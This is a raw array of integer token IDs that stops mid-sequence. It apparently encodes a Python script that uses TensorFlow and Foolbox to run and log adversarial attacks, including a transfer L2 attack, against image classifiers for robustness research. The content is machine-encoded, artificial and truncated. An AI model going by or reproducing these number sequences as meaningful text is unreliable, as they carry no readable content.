[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 13, 5215, 26110, 408, 15886, 13, 5215, 12655, 408, 7442, 13, 5215, 2897, 13, 5215, 5844, 13, 5215, 17928, 1884, 13, 5215, 4560, 2272, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 3166, 349, 6227, 1053, 7084, 13, 13, 29937, 7270, 7093, 278, 383, 1507, 3313, 5132, 3489, 313, 991, 597, 3292, 29889, 510, 29914, 29890, 621, 7467, 370, 29914, 1181, 324, 1884, 29897, 304, 2334, 263, 12875, 29871, 13, 29937, 974, 19901, 27521, 16661, 2750, 6483, 29899, 21891, 4733, 13374, 2073, 287, 297, 323, 6073, 17907, 29915, 29879, 10239, 3450, 13, 13, 1990, 3847, 29918, 1131, 547, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 5337, 29918, 27774, 29892, 29871, 13, 462, 1678, 28770, 291, 29922, 1181, 324, 1884, 29889, 29883, 21977, 29889, 29924, 275, 1990, 2450, 580, 1125, 13, 9651, 1583, 29889, 4299, 29918, 11965, 2463, 29918, 2220, 353, 5337, 29918, 27774, 1839, 4299, 29918, 11965, 2463, 29918, 2220, 2033, 13, 9651, 1583, 29889, 4299, 29918, 705, 5861, 353, 5337, 29918, 27774, 1839, 4299, 29918, 705, 5861, 2033, 13, 9651, 1583, 29889, 1707, 29918, 1761, 353, 5337, 29918, 27774, 1839, 1707, 29918, 1761, 2033, 13, 9651, 1583, 29889, 705, 5861, 29918, 27774, 353, 5337, 29918, 27774, 1839, 705, 5861, 29918, 27774, 2033, 13, 9651, 1583, 29889, 5365, 2129, 29918, 27774, 353, 5337, 29918, 27774, 1839, 5365, 2129, 29918, 27774, 2033, 13, 9651, 1583, 29889, 2080, 29918, 1272, 353, 5337, 29918, 27774, 1839, 2080, 29918, 1272, 2033, 13, 9651, 1583, 29889, 2080, 29918, 21134, 353, 5337, 29918, 27774, 1839, 2080, 29918, 21134, 2033, 13, 9651, 1583, 29889, 2080, 29918, 27074, 353, 5337, 29918, 27774, 1839, 2080, 29918, 27074, 2033, 13, 9651, 1583, 29889, 8865, 449, 29918, 10492, 29918, 27074, 353, 5337, 29918, 27774, 1839, 8865, 449, 29918, 10492, 29918, 27074, 2033, 13, 9651, 1583, 29889, 4905, 29918, 12322, 353, 5337, 29918, 27774, 1839, 4905, 29918, 12322, 2033, 13, 9651, 1583, 29889, 1949, 29918, 1131, 547, 29918, 19057, 353, 5337, 29918, 27774, 1839, 1949, 29918, 1131, 547, 29918, 19057, 2033, 13, 9651, 1583, 29889, 16626, 29918, 27774, 353, 5337, 29918, 27774, 1839, 16626, 29918, 27774, 2033, 396, 6362, 837, 1475, 565, 321, 29889, 29887, 29889, 263, 3564, 4004, 338, 633, 29880, 630, 29892, 470, 11462, 338, 2715, 304, 278, 1480, 1169, 13, 9651, 1583, 29889, 16175, 29918, 2311, 353, 5337, 29918, 27774, 1839, 16175, 29918, 2311, 2033, 13, 9651, 1583, 29889, 7620, 29918, 8346, 353, 5337, 29918, 27774, 1839, 7620, 29918, 8346, 2033, 13, 9651, 1583, 29889, 342, 6490, 29918, 5105, 10070, 353, 5337, 29918, 27774, 1839, 342, 6490, 29918, 5105, 10070, 2033, 13, 9651, 1583, 29889, 328, 369, 29918, 4299, 353, 5337, 29918, 27774, 1839, 328, 369, 29918, 4299, 2033, 13, 9651, 1583, 29889, 328, 369, 29918, 3198, 3149, 353, 5337, 29918, 27774, 1839, 328, 369, 29918, 3198, 3149, 2033, 13, 9651, 1583, 29889, 29883, 5385, 291, 353, 28770, 291, 396, 6812, 491, 2322, 445, 338, 3763, 17928, 1884, 29915, 29879, 20929, 1990, 2450, 28770, 291, 13, 13, 1678, 396, 3206, 457, 278, 770, 5352, 29892, 5337, 29918, 5696, 29892, 304, 367, 278, 3164, 2760, 853, 5560, 1939, 895, 5337, 491, 2322, 13, 1678, 5337, 29918, 5696, 353, 17928, 1884, 29889, 1131, 26514, 29889, 10358, 2760, 2525, 5560, 3782, 895, 4165, 547, 29871, 13, 1678, 17928, 1884, 29918, 19244, 29918, 16414, 353, 17928, 1884, 29889, 5721, 2925, 29889, 6816, 273, 29903, 339, 1965, 27469, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 9780, 24563, 29918, 1333, 29918, 328, 11292, 24563, 29918, 29915, 13, 13, 1678, 822, 14707, 29918, 690, 21558, 29898, 1311, 1125, 13, 13, 4706, 565, 1583, 29889, 328, 369, 29918, 4299, 1275, 6213, 29901, 13, 9651, 1480, 1169, 29892, 903, 353, 1583, 29889, 4299, 29918, 11965, 2463, 29918, 2220, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1583, 29889, 8865, 449, 29918, 10492, 29918, 27074, 29892, 1583, 29889, 705, 5861, 29918, 27774, 29892, 1583, 29889, 5365, 2129, 29918, 27774, 29892, 1583, 29889, 16626, 29918, 27774, 29897, 13, 9651, 872, 369, 353, 15886, 29889, 14968, 29889, 29903, 12483, 29898, 1311, 29889, 1707, 29918, 1761, 29897, 396, 3206, 457, 872, 369, 1203, 363, 671, 2678, 746, 8363, 278, 1904, 18177, 13, 1678, 13, 4706, 1683, 29901, 13, 9651, 872, 369, 353, 15886, 29889, 14968, 29889, 29903, 12483, 580, 13, 13, 4706, 1583, 29889, 11256, 29918, 3972, 580, 13, 13, 4706, 411, 15886, 29889, 7317, 580, 408, 4867, 29901, 13, 9651, 396, 3206, 457, 278, 17928, 1884, 1904, 29871, 13, 9651, 565, 1583, 29889, 328, 369, 29918, 4299, 1275, 6213, 29901, 29871, 13, 18884, 1596, 14182, 29876, 29923, 4387, 1218, 263, 1661, 29899, 328, 874, 27521, 368, 16370, 1904, 1159, 13, 18884, 872, 369, 29889, 5060, 487, 29898, 7924, 29892, 1583, 29889, 4299, 29918, 705, 5861, 29897, 396, 9842, 746, 1791, 8253, 18177, 967, 4100, 451, 304, 1065, 2069, 373, 278, 1021, 13, 462, 1678, 396, 20897, 29892, 408, 445, 674, 975, 29899, 3539, 278, 10972, 18177, 411, 20459, 16601, 6743, 13, 18884, 285, 4299, 353, 17928, 1884, 29889, 9794, 29889, 29911, 6073, 17907, 3195, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1480, 1169, 29892, 313, 29900, 29892, 29896, 876, 29871, 13, 13, 9651, 1683, 29901, 13, 18884, 1596, 14182, 29876, 29923, 4387, 1218, 385, 19901, 27521, 368, 16370, 1904, 1159, 13, 18884, 872, 369, 29889, 5060, 487, 29898, 7924, 29892, 1583, 29889, 328, 369, 29918, 3198, 3149, 29897, 13, 18884, 285, 4299, 353, 17928, 1884, 29889, 9794, 29889, 29911, 6073, 17907, 3195, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1583, 29889, 328, 369, 29918, 4299, 29889, 1457, 29918, 2695, 3317, 29892, 313, 29900, 29892, 29896, 876, 13, 13, 9651, 396, 29956, 2390, 278, 1904, 304, 9025, 15899, 4656, 10070, 565, 7429, 13, 9651, 565, 1583, 29889, 342, 6490, 29918, 5105, 10070, 1275, 5852, 29901, 13, 18884, 1596, 14182, 29876, 15156, 263, 1904, 411, 334, 342, 326, 630, 29930, 4656, 10070, 23157, 13, 18884, 4844, 1061, 353, 17928, 1884, 29889, 24970, 29918, 342, 326, 4097, 29889, 7967, 16065, 29956, 895, 25584, 993, 12787, 326, 1061, 29898, 5463, 29922, 29900, 29889, 29900, 29896, 29897, 13, 18884, 285, 4299, 353, 17928, 1884, 29889, 9794, 29889, 3195, 3047, 12787, 326, 630, 25584, 10070, 29898, 29888, 4299, 29892, 16030, 29918, 342, 326, 1061, 29922, 342, 326, 1061, 29897, 13, 18884, 396, 1576, 2322, 3189, 16065, 29956, 895, 25584, 993, 12787, 326, 1061, 4844, 1061, 338, 278, 1021, 1304, 297, 278, 1102, 1501, 634, 394, 29892, 29871, 29906, 29900, 29896, 29929, 319, 9851, 5650, 515, 306, 6154, 29934, 13, 13, 9651, 1596, 14182, 29876, 5894, 689, 292, 376, 718, 1583, 29889, 1131, 547, 29918, 1853, 29918, 3972, 718, 376, 5337, 1159, 13, 9651, 1596, 703, 29923, 4387, 1218, 376, 718, 851, 29898, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 29897, 718, 376, 19901, 27521, 1342, 29898, 29879, 25760, 13, 13, 9651, 396, 2588, 29879, 363, 15446, 2582, 310, 278, 17983, 13, 9651, 19901, 653, 29918, 11940, 353, 7442, 29889, 3298, 359, 4197, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 2314, 396, 2378, 310, 1045, 1772, 550, 393, 14088, 565, 385, 19901, 653, 471, 1476, 363, 263, 3153, 1967, 13, 9651, 19901, 653, 29918, 19244, 353, 7442, 29889, 3298, 359, 4197, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 2314, 13, 13, 9651, 19901, 4314, 29918, 2378, 353, 7442, 29889, 3298, 359, 29898, 9302, 29889, 535, 29883, 2579, 403, 3552, 29961, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 1402, 1583, 29889, 2080, 29918, 1272, 29889, 12181, 29961, 29896, 17531, 4961, 13, 9651, 19901, 653, 29918, 21134, 353, 5159, 13, 13, 9651, 1583, 29889, 1131, 547, 29918, 6550, 2450, 29898, 29888, 4299, 29897, 13, 13, 9651, 363, 9853, 29918, 1524, 297, 3464, 29898, 755, 29889, 27696, 29898, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 29914, 1311, 29889, 16175, 29918, 2311, 22164, 13, 13, 18884, 8225, 29918, 16175, 29918, 1272, 353, 1583, 29889, 2080, 29918, 1272, 29961, 16175, 29918, 1524, 29930, 1311, 29889, 16175, 29918, 2311, 29901, 1195, 3552, 16175, 29918, 1524, 29974, 29896, 11877, 1311, 29889, 16175, 29918, 2311, 29892, 1583, 29889, 1949, 29918, 1131, 547, 29918, 19057, 4638, 13, 18884, 8225, 29918, 16175, 29918, 21134, 353, 7442, 29889, 1191, 3317, 29898, 1311, 29889, 2080, 29918, 21134, 29961, 16175, 29918, 1524, 29930, 1311, 29889, 16175, 29918, 2311, 29901, 1195, 3552, 16175, 29918, 1524, 29974, 29896, 11877, 1311, 29889, 16175, 29918, 2311, 29892, 1583, 29889, 1949, 29918, 1131, 547, 29918, 19057, 29897, 1402, 9685, 29922, 29896, 29897, 13, 13, 18884, 396, 8179, 719, 714, 278, 5337, 13, 18884, 19901, 27521, 29918, 8346, 29892, 9853, 29918, 328, 27547, 29918, 21134, 353, 1583, 29889, 3258, 29918, 328, 874, 27521, 29898, 22256, 29918, 16175, 29918, 1272, 29892, 8225, 29918, 16175, 29918, 21134, 29897, 13, 18884, 19901, 653, 29918, 21134, 29889, 21843, 29898, 16175, 29918, 328, 27547, 29918, 21134, 29897, 13, 13, 18884, 396, 7032, 2582, 310, 278, 9853, 287, 5337, 13, 18884, 363, 1342, 29918, 1524, 297, 3464, 29898, 22256, 29918, 16175, 29918, 1272, 29889, 12181, 29961, 29900, 29962, 1125, 13, 13, 462, 1678, 565, 7442, 29889, 1384, 29898, 328, 874, 27521, 29918, 8346, 29961, 4773, 29918, 1524, 29962, 1275, 6213, 29897, 470, 7442, 29889, 497, 29898, 9302, 29889, 275, 13707, 29898, 328, 874, 27521, 29918, 8346, 29961, 4773, 29918, 1524, 12622, 29901, 13, 462, 4706, 1596, 14182, 29876, 3782, 19901, 27521, 1967, 1476, 448, 5337, 4133, 6213, 470, 1409, 310, 18780, 29879, 29905, 29876, 1159, 13, 462, 4706, 396, 2887, 297, 1102, 1501, 29892, 29871, 29906, 29900, 29896, 29929, 634, 394, 29892, 278, 5418, 310, 385, 443, 8698, 1319, 5337, 338, 10478, 408, 27971, 13, 462, 4706, 19901, 653, 29918, 19244, 29961, 16175, 29918, 1524, 29930, 1311, 29889, 16175, 29918, 2311, 718, 1342, 29918, 1524, 29962, 353, 7442, 29889, 7192, 13, 13, 462, 1678, 1683, 29901, 13, 462, 4706, 19901, 653, 29918, 11940, 29892, 19901, 653, 29918, 19244, 29892, 19901, 4314, 29918, 2378, 353, 1583, 29889, 8899, 29918, 1272, 29898, 328, 27547, 29918, 11940, 29892, 19901, 653, 29918, 19244, 29892, 19901, 4314, 29918, 2378, 29892, 13, 462, 9651, 8225, 29918, 16175, 29918, 1272, 29961, 4773, 29918, 1524, 1402, 8225, 29918, 16175, 29918, 21134, 29961, 4773, 29918, 1524, 1402, 19901, 27521, 29918, 8346, 29961, 4773, 29918, 1524, 1402, 9853, 29918, 1524, 29930, 1311, 29889, 16175, 29918, 2311, 718, 1342, 29918, 1524, 29892, 285, 4299, 29897, 13, 13, 9651, 19901, 653, 29918, 21134, 353, 7442, 29889, 294, 2378, 29898, 328, 27547, 29918, 21134, 29897, 13, 13, 9651, 736, 19901, 653, 29918, 11940, 29892, 19901, 653, 29918, 19244, 29892, 19901, 4314, 29918, 2378, 29892, 19901, 653, 29918, 21134, 13, 13, 1678, 822, 5337, 29918, 6550, 2450, 29898, 1311, 29892, 285, 4299, 1125, 13, 4706, 1583, 29889, 1131, 547, 29918, 29888, 4299, 353, 1583, 29889, 1131, 547, 29918, 5696, 29898, 4299, 29922, 29888, 4299, 29892, 28770, 291, 29922, 1311, 29889, 29883, 5385, 291, 29892, 5418, 29922, 1311, 29889, 1181, 324, 1884, 29918, 19244, 29918, 16414, 29897, 13, 13, 1678, 396, 9984, 278, 5337, 3884, 363, 15446, 2582, 13, 1678, 822, 14690, 29918, 3972, 29898, 1311, 1125, 13, 4706, 565, 2897, 29889, 2084, 29889, 9933, 877, 328, 874, 27521, 29918, 8346, 22208, 718, 1583, 29889, 4905, 29918, 12322, 718, 8207, 29915, 718, 1583, 29889, 1131, 547, 29918, 1853, 29918, 3972, 718, 8207, 1495, 1275, 29871, 29900, 29901, 13, 9651, 1018, 29901, 13, 18884, 2897, 29889, 11256, 3972, 877, 328, 874, 27521, 29918, 8346, 22208, 718, 1583, 29889, 4905, 29918, 12322, 718, 8207, 1495, 13, 9651, 5174, 438, 29173, 29901, 13, 18884, 1209, 13, 9651, 1018, 29901, 13, 18884, 2897, 29889, 11256, 3972, 877, 328, 874, 27521, 29918, 8346, 22208, 718, 1583, 29889, 4905, 29918, 12322, 718, 8207, 29915, 718, 1583, 29889, 1131, 547, 29918, 1853, 29918, 3972, 718, 8207, 1495, 13, 9651, 5174, 438, 29173, 29901, 13, 18884, 1209, 13, 13, 1678, 822, 1653, 29918, 328, 874, 27521, 29898, 1311, 29892, 8225, 29918, 1272, 29892, 8225, 29918, 1643, 1125, 13, 13, 4706, 19901, 27521, 29879, 353, 1583, 29889, 1131, 547, 29918, 29888, 4299, 29898, 22256, 29918, 1272, 29892, 8225, 29918, 1643, 29892, 443, 4058, 29922, 8824, 29897, 13, 13, 4706, 19901, 653, 29918, 21134, 353, 7442, 29889, 294, 2378, 4197, 29874, 29889, 328, 874, 27521, 29918, 1990, 363, 263, 297, 19901, 27521, 29879, 2314, 13, 4706, 19901, 27521, 29918, 8346, 353, 7442, 29889, 294, 2378, 4197, 29874, 29889, 10700, 28179, 363, 263, 297, 19901, 27521, 29879, 2314, 13, 13, 4706, 736, 19901, 27521, 29918, 8346, 29892, 19901, 653, 29918, 21134, 13, 13, 1678, 822, 3787, 29918, 1272, 29898, 1311, 29892, 19901, 653, 29918, 11940, 29892, 19901, 653, 29918, 19244, 29892, 19901, 4314, 29918, 2378, 29892, 8225, 29918, 1272, 29892, 8225, 29918, 1643, 29892, 19901, 27521, 29918, 3027, 29892, 2582, 29918, 1524, 29892, 285, 4299, 1125, 13, 308, 13, 4706, 19901, 4314, 29918, 2378, 29961, 9902, 29918, 1524, 29962, 353, 19901, 27521, 29918, 3027, 13, 13, 4706, 396, 9842, 871, 29871, 29896, 29900, 19901, 27521, 4558, 526, 7160, 363, 263, 2183, 5337, 304, 10032, 3370, 5626, 13, 4706, 565, 1583, 29889, 7620, 29918, 8346, 1275, 5852, 322, 313, 9902, 29918, 1524, 29966, 29896, 29900, 1125, 13, 9651, 565, 19901, 27521, 29918, 3027, 29889, 12181, 29961, 29906, 29962, 1275, 29871, 29941, 29901, 13, 18884, 1967, 29918, 517, 29918, 2732, 353, 19901, 27521, 29918, 3027, 13, 9651, 25342, 19901, 27521, 29918, 3027, 29889, 12181, 29961, 29906, 29962, 1275, 29871, 29896, 29901, 13, 18884, 1967, 29918, 517, 29918, 2732, 353, 7442, 29889, 29879, 802, 29872, 911, 29898, 328, 874, 27521, 29918, 3027, 29892, 9685, 29922, 29906, 29897, 396, 15941, 1833, 9927, 565, 14238, 304, 1395, 952, 29883, 744, 13, 13, 9651, 14770, 29889, 326, 7620, 877, 328, 874, 27521, 29918, 8346, 22208, 718, 1583, 29889, 4905, 29918, 12322, 718, 8207, 29915, 718, 29871, 13, 18884, 1583, 29889, 1131, 547, 29918, 1853, 29918, 3972, 718, 8207, 4165, 547, 8009, 29915, 718, 851, 29898, 9902, 29918, 1524, 29897, 718, 22868, 23084, 18186, 29915, 718, 851, 29898, 9302, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 328, 874, 27521, 29918, 3027, 29961, 8516, 29892, 584, 29892, 584, 29892, 584, 29962, 4961, 718, 29871, 13, 18884, 22868, 3338, 618, 2308, 2806, 29915, 718, 851, 29898, 22256, 29918, 1643, 29897, 718, 15300, 2732, 742, 1967, 29918, 517, 29918, 2732, 29897, 13, 13, 4706, 1596, 703, 1576, 12965, 3858, 1494, 5337, 338, 376, 718, 851, 29898, 9302, 29889, 1191, 3317, 29898, 29888, 4299, 29889, 11333, 29898, 328, 874, 27521, 29918, 3027, 29961, 8516, 29962, 4961, 718, 376, 515, 385, 2441, 12965, 310, 376, 718, 851, 29898, 22256, 29918, 1643, 876, 13, 4706, 5418, 29892, 5418, 29918, 978, 353, 1583, 29889, 19244, 29918, 16414, 29898, 22256, 29918, 1272, 29889, 1579, 8606, 3285, 19901, 27521, 29918, 3027, 29889, 1579, 8606, 3101, 13, 4706, 1596, 703, 1576, 376, 718, 5418, 29918, 978, 718, 376, 5418, 310, 278, 19901, 653, 338, 376, 718, 851, 29898, 19244, 876, 13, 4706, 19901, 653, 29918, 11940, 29961, 9902, 29918, 1524, 29962, 353, 29871, 29896, 13, 4706, 19901, 653, 29918, 19244, 29961, 9902, 29918, 1524, 29962, 353, 5418, 13, 13, 4706, 736, 19901, 653, 29918, 11940, 29892, 19901, 653, 29918, 19244, 29892, 19901, 4314, 29918, 2378, 13, 13, 1678, 822, 5418, 29918, 16414, 29898, 1311, 29892, 4608, 29896, 29892, 4608, 29906, 1125, 13, 4706, 5418, 353, 4560, 2272, 29889, 1028, 15238, 29889, 19244, 29889, 29872, 27511, 29898, 8111, 29896, 29892, 4608, 29906, 29897, 13, 4706, 5418, 29918, 978, 353, 525, 29923, 27511, 313, 29931, 29899, 29906, 16029, 13, 4706, 736, 5418, 29892, 5418, 29918, 978, 13, 13, 1990, 1423, 29918, 303, 28225, 537, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 396, 5894, 9514, 12747, 304, 9801, 727, 526, 694, 443, 524, 2760, 380, 28225, 3161, 313, 29872, 29889, 29887, 29889, 2861, 304, 16259, 5626, 29897, 297, 263, 4733, 27303, 297, 17928, 1884, 13, 13, 1678, 822, 2189, 29918, 3198, 29898, 1311, 1125, 13, 13, 4706, 1480, 1169, 29892, 903, 353, 1583, 29889, 4299, 29918, 11965, 2463, 29918, 2220, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1583, 29889, 8865, 449, 29918, 10492, 29918, 27074, 29892, 1583, 29889, 705, 5861, 29918, 27774, 29892, 1583, 29889, 5365, 2129, 29918, 27774, 29892, 1583, 29889, 16626, 29918, 27774, 29897, 13, 4706, 872, 369, 353, 15886, 29889, 14968, 29889, 29903, 12483, 29898, 1311, 29889, 1707, 29918, 1761, 29897, 13, 13, 4706, 411, 15886, 29889, 7317, 580, 408, 4867, 29901, 13, 9651, 872, 369, 29889, 5060, 487, 29898, 7924, 29892, 1583, 29889, 4299, 29918, 705, 5861, 29897, 29871, 13, 9651, 285, 4299, 353, 17928, 1884, 29889, 9794, 29889, 29911, 6073, 17907, 3195, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1480, 1169, 29892, 313, 29900, 29892, 29896, 876, 29871, 13, 13, 9651, 1596, 877, 5596, 292, 278, 4733, 4180, 373, 2999, 6057, 310, 278, 1021, 4558, 1495, 13, 13, 9651, 363, 1342, 29918, 1524, 297, 3464, 29898, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 1125, 13, 13, 18884, 8225, 29918, 1272, 353, 1583, 29889, 2080, 29918, 1272, 29961, 4773, 29918, 1524, 29892, 584, 29892, 584, 29892, 584, 29962, 13, 13, 18884, 1480, 1169, 29918, 1761, 353, 5159, 13, 18884, 11073, 29918, 1761, 353, 5159, 13, 13, 18884, 396, 5596, 278, 1021, 1967, 411, 2999, 6057, 13, 18884, 363, 13607, 297, 3464, 29898, 29896, 29900, 1125, 13, 462, 1678, 396, 11609, 278, 1480, 1169, 322, 3858, 310, 278, 1904, 13, 462, 1678, 25383, 29918, 1188, 1169, 353, 285, 4299, 29889, 11333, 29898, 22256, 29918, 1272, 29961, 8516, 29892, 29901, 29892, 29901, 29892, 29901, 2314, 13, 462, 1678, 1480, 1169, 29918, 1761, 29889, 21843, 29898, 11965, 18186, 29918, 1188, 1169, 29897, 13, 462, 268, 13, 18884, 396, 5596, 1432, 1543, 338, 7126, 304, 278, 1556, 7786, 18988, 13, 18884, 4974, 7442, 29889, 497, 29898, 1188, 1169, 29918, 1761, 1275, 7442, 29889, 294, 2378, 29898, 11965, 18186, 29918, 1188, 1169, 8243, 376, 17435, 9526, 310, 278, 1480, 1169, 526, 6480, 380, 2878, 579, 1711, 17435, 29908, 13, 13, 18884, 1596, 703, 3782, 380, 28225, 3161, 15659, 1159, 13, 462, 13, 13, 1990, 6782, 29918, 1131, 547, 29918, 29931, 29906, 29898, 3560, 29918, 1131, 547, 1125, 13, 1678, 396, 3563, 3539, 3847, 5823, 363, 1023, 5684, 8393, 584, 6257, 29918, 328, 874, 4314, 29892, 321, 3232, 29918, 10568, 29918, 2311, 29892, 322, 4236, 29918, 1524, 800, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 5337, 29918, 27774, 29892, 13, 462, 1678, 6257, 29918, 328, 874, 4314, 29892, 29871, 13, 462, 1678, 321, 3232, 29918, 10568, 29918, 2311, 29922, 29900, 29889, 29900, 29896, 29892, 13, 462, 1678, 4236, 29918, 1524, 800, 29922, 29896, 29900, 29900, 29900, 1125, 13, 9651, 3847, 29918, 1131, 547, 17255, 2344, 12035, 1311, 29892, 5337, 29918, 27774, 29897, 13, 9651, 1583, 29889, 2962, 292, 29918, 328, 874, 4314, 353, 6257, 29918, 328, 874, 4314, 13, 9651, 1583, 29889, 5463, 29918, 10568, 29918, 2311, 353, 321, 3232, 29918, 10568, 29918, 2311, 13, 9651, 1583, 29889, 3317, 29918, 1524, 800, 353, 4236, 29918, 1524, 800, 13, 13, 1678, 5337, 29918, 1853, 29918, 3972, 353, 525, 4300, 571, 29918, 29931, 29906, 29915, 13, 268, 13, 1678, 396, 3563, 3539, 14707, 29918, 690, 21558, 1158, 411, 697, 393, 14061, 13114, 6782, 29899, 1131, 547, 4558, 13, 1678, 822, 14707, 29918, 690, 21558, 29898, 1311, 1125, 13, 13, 4706, 565, 1583, 29889, 328, 369, 29918, 4299, 1275, 6213, 29901, 13, 9651, 1480, 1169, 29892, 903, 353, 1583, 29889, 4299, 29918, 11965, 2463, 29918, 2220, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1583, 29889, 8865, 449, 29918, 10492, 29918, 27074, 29892, 1583, 29889, 705, 5861, 29918, 27774, 29892, 1583, 29889, 5365, 2129, 29918, 27774, 29892, 1583, 29889, 16626, 29918, 27774, 29897, 13, 9651, 872, 369, 353, 15886, 29889, 14968, 29889, 29903, 12483, 29898, 1311, 29889, 1707, 29918, 1761, 29897, 396, 3206, 457, 872, 369, 1203, 363, 671, 2678, 746, 8363, 278, 1904, 18177, 13, 1678, 13, 4706, 1683, 29901, 13, 9651, 872, 369, 353, 15886, 29889, 14968, 29889, 29903, 12483, 580, 13, 13, 4706, 1583, 29889, 11256, 29918, 3972, 580, 13, 13, 4706, 411, 15886, 29889, 7317, 580, 408, 4867, 29901, 13, 9651, 396, 3206, 457, 278, 17928, 1884, 1904, 29871, 13, 9651, 565, 1583, 29889, 328, 369, 29918, 4299, 1275, 6213, 29901, 29871, 13, 18884, 1596, 14182, 29876, 29923, 4387, 1218, 263, 1661, 29899, 328, 874, 27521, 368, 16370, 1904, 1159, 13, 18884, 872, 369, 29889, 5060, 487, 29898, 7924, 29892, 1583, 29889, 4299, 29918, 705, 5861, 29897, 396, 9842, 746, 1791, 8253, 18177, 967, 4100, 451, 304, 1065, 2069, 373, 278, 1021, 13, 462, 1678, 396, 20897, 29892, 408, 445, 674, 975, 29899, 3539, 278, 10972, 18177, 411, 20459, 16601, 6743, 13, 18884, 285, 4299, 353, 17928, 1884, 29889, 9794, 29889, 29911, 6073, 17907, 3195, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1480, 1169, 29892, 313, 29900, 29892, 29896, 876, 29871, 13, 13, 9651, 1683, 29901, 13, 18884, 1596, 14182, 29876, 29923, 4387, 1218, 385, 19901, 27521, 368, 16370, 1904, 1159, 13, 18884, 872, 369, 29889, 5060, 487, 29898, 7924, 29892, 1583, 29889, 328, 369, 29918, 3198, 3149, 29897, 13, 18884, 285, 4299, 353, 17928, 1884, 29889, 9794, 29889, 29911, 6073, 17907, 3195, 29898, 1311, 29889, 2080, 29918, 27074, 29892, 1583, 29889, 328, 369, 29918, 4299, 29889, 1457, 29918, 2695, 3317, 29892, 313, 29900, 29892, 29896, 876, 13, 13, 9651, 1596, 14182, 29876, 5894, 689, 292, 263, 17934, 5337, 1159, 13, 9651, 1596, 703, 29923, 4387, 1218, 376, 718, 851, 29898, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 29897, 718, 376, 19901, 27521, 1342, 29898, 29879, 25760, 13, 13, 9651, 396, 2588, 29879, 363, 15446, 2582, 310, 278, 17983, 13, 9651, 19901, 653, 29918, 19244, 353, 7442, 29889, 3298, 359, 4197, 29946, 29892, 1583, 29889, 1949, 29918, 1131, 547, 29918, 19057, 2314, 13, 13, 9651, 363, 1342, 29918, 1524, 297, 3464, 29898, 1311, 29889, 1949, 29918, 1131, 547, 29918, 19057, 1125, 13, 13, 18884, 1596, 703, 4300, 571, 5337, 1353, 376, 718, 851, 29898, 4773, 29918, 1524, 876, 13, 462, 13, 18884, 396, 13463, 403, 1549, 278, 3023, 1422, 6257, 3291, 363, 14655, 19901, 4314, 313, 10184, 1422, 16030, 29871, 13, 18884, 396, 2729, 16661, 363, 1269, 310, 278, 1023, 1667, 11258, 4072, 6660, 9956, 470, 451, 9956, 416, 278, 6260, 635, 29899, 10700, 28179, 5337, 674, 367, 4133, 13, 18884, 363, 2967, 29918, 5696, 29918, 1524, 297, 3464, 29898, 29946, 1125, 13, 462, 13, 462, 1678, 19901, 653, 29918, 19244, 353, 1583, 29889, 1524, 1230, 29918, 10700, 9265, 362, 29898, 29888, 4299, 29892, 19901, 653, 29918, 19244, 29892, 1342, 29918, 1524, 29892, 2967, 29918, 5696, 29918, 1524, 29892, 443, 10700, 28179, 29918, 3027, 29922, 1311, 29889, 2080, 29918, 1272, 29961, 4773, 29918, 1524, 1402, 29871, 13, 462, 4706, 5962, 29918, 509, 2806, 29918, 1643, 29922, 1311, 29889, 2080, 29918, 21134, 29961, 4773, 29918, 1524, 1402, 6257, 29918, 328, 27547, 29922, 1311, 29889, 2962, 292, 29918, 328, 874, 4314, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 2314, 13, 462, 1678, 1596, 703, 4062, 376, 718, 851, 29898, 3188, 29918, 5696, 29918, 1524, 29897, 718, 376, 5418, 338, 376, 718, 851, 29898, 328, 27547, 29918, 19244, 29961, 3188, 29918, 5696, 29918, 1524, 29892, 1342, 29918, 1524, 12622, 13, 13, 9651, 396, 2776, 599, 4558, 2531, 406, 630, 515, 278, 2967, 5337, 4072, 29892, 1831, 278, 6260, 635, 13499, 28179, 1967, 363, 1269, 1342, 13, 9651, 19901, 653, 29918, 19244, 353, 19901, 653, 29918, 19244, 29889, 1195, 29898, 8990, 29922, 29900, 29897, 13, 13, 9651, 736, 19901, 653, 29918, 19244, 13, 13, 1678, 822, 4256, 1230, 29918, 10700, 9265, 362, 29898, 1311, 29892, 285, 4299, 29892, 19901, 653, 29918, 19244, 29892, 1342, 29918, 1524, 29892, 2967, 29918, 5696, 29918, 1524, 29892, 443, 10700, 28179, 29918, 3027, 29892, 5962, 29918, 509, 2806, 29918, 1643, 29892, 6257, 29918, 328, 27547, 1125, 13, 13, 4706, 321, 3232, 353, 29871, 29900, 29889, 29900, 13, 4706, 1857, 29918, 1524, 362, 353, 29871, 29896, 13, 13, 4706, 396, 6730, 1423, 565, 278, 2967, 5337, 1158, 5229, 373, 278, 1190, 9102, 403, 1904, 13, 4706, 396, 3644, 577, 29892, 1074, 565, 278, 3646, 1904, 5149, 770, 11057, 372, 29892, 297, 607, 1206, 372, 338, 263, 5229, 5337, 29892, 470, 6467, 372, 338, 263, 9150, 5337, 411, 5418, 29871, 29900, 13, 4706, 565, 7442, 29889, 1384, 29898, 2962, 292, 29918, 328, 27547, 1275, 6213, 29897, 470, 7442, 29889, 497, 29898, 9302, 29889, 275, 13707, 29898, 2962, 292, 29918, 328, 27547, 22164, 13, 9651, 565, 313, 9302, 29889, 1191, 3317, 29898, 29888, 